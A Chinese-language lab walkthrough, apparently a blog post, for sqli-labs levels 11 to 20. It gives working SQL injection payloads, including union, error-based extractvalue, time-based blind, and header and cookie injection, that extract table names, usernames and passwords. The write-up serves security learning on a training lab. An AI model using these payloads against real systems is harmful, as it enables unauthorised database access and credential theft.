sqli-lab练习(11-20关)

less-11

当我们输入1时

出现登录失败的图片,当我们输入1'时

出现报错信息,根据报错信息我们可以判断此sql语句为的注入点在单引号之间

我们输入一个恒真的sql语句,看一下能查询出来什么

1' or 1=1#

那么这道题我们就可以用联合注入来解决

首先我们输入如下语句,来查看回显的是哪个部分

1' union select 1,2#

可以看到1,2都回显了

所以我们可以利用这个位置将库名,表名,列名以及表内信息回显出来

1' union select 1,database()#

首先通过此行代码将库名爆破出来

之后就是表名,使用如下代码

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

将表名也成功爆破出来,由于我们需要的是用户个人信息,所以我们将users这个表的列名爆破出来,使用如下代码

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

之后就是去爆破用户名和密码

1' union select 1,group_concat(username,':',password) from users#

可以看到,用户名和密码也被我们爆破出来

less-12

当我们输入1")时,可以发现网站显示了报错信息

经过判断,我们可以知道我们输入的东西被注入到("")内,所以需要")来闭合

之后的过程与less-11一致,只需要一步一步联合注入即可

less-13

首先通过报错得知此题是使用')闭合的,之后经过测试我们可以发现,登录成功没有回显信息,所以此题不能使用联合注入,则可以选择报错回显或者是盲注

报错回显我们这里以爆库名举例,payload如下

1') and extractvalue(1,concat(0x7e,(select database())))#

成功爆出库名,剩下的过程给出payload,就不给演示了

1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))#
1') and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))#

盲注过程很长且复杂,这里就不用了

less-14

与less-13唯一的区别就是将单引号改为双引号

less-15

此关可以使用报错回显或者是时间盲注,由于前面的题已经将结果报错回显的用法,所以我们这里来演示一下时间盲注

经过检验,我们得知此题使用单引号闭合

首先就是爆破库名,使用如下payload

admin' and if(left(database(),1)='s',sleep(3),1)#

我们发现三秒后回显,由于时间无法通过图片反应,所以我们给出最终结果的payload,不给图片演示了

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1)#

接下来如果想爆破列名的话只需要将table改成column

最后就从id为1的用户开始爆破账号和密码,接下来我们给出爆破密码的payload

admin' and if(left((select password from users where id=1),4)='dumb' ,sleep(3),1)#

爆破密码与此同理

lsee-16

此关也可以使用时间盲注,与less-15区别在于此题使用双引号加括号进行闭合

less-17

经过查询源代码我们可以发现,此关对username做出了很多过滤与限制,但是对password没有进行任何的防范操作,所以我们此题的突破口在于password

我们输入用户名,随意输入一个密码然后抓包,之后的步骤与前面的相同,只是执行payload的变为password,我们这里以列名为例

uname=admin&passwd=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &submit=Submit

可以看到成功将所有列名报错回显出来,在做到这里的时候我有个疑问,就是此payload为什么要用一个group_concat将column_name给括起来,经过查询:concat是针对行数据的拼接,而group_concat是对列进行拼接,所以需要先将所有列名拼成一个元素,再利用行拼接与~拼接到一起

less-18

通过测试我们发现,此题无法通过在账号或密码中输入payload来完成注入,在查询源代码后可以知道,这一题对于账号以及密码均做出了过滤,通过报错信息我们得知,此题使用user-agent型注入

接下来就是抓包并更改user-agent了,使用如下payload

 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

其余payload只需将less-12中的双引号改为双引号即可

less-19

与上一题的payload相同,只需将注入点改为referer即可

less-20

此题与前面的区别在于需要先登录,并修改cookie完成注入

此题可使用联合注入,经检测,此题的回显点在第三个,所以我们只需要修改第三个元素即可完成注入

爆库的payload如下

Cookie: uname=-admin' union select 1,2,database()--+

完成注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值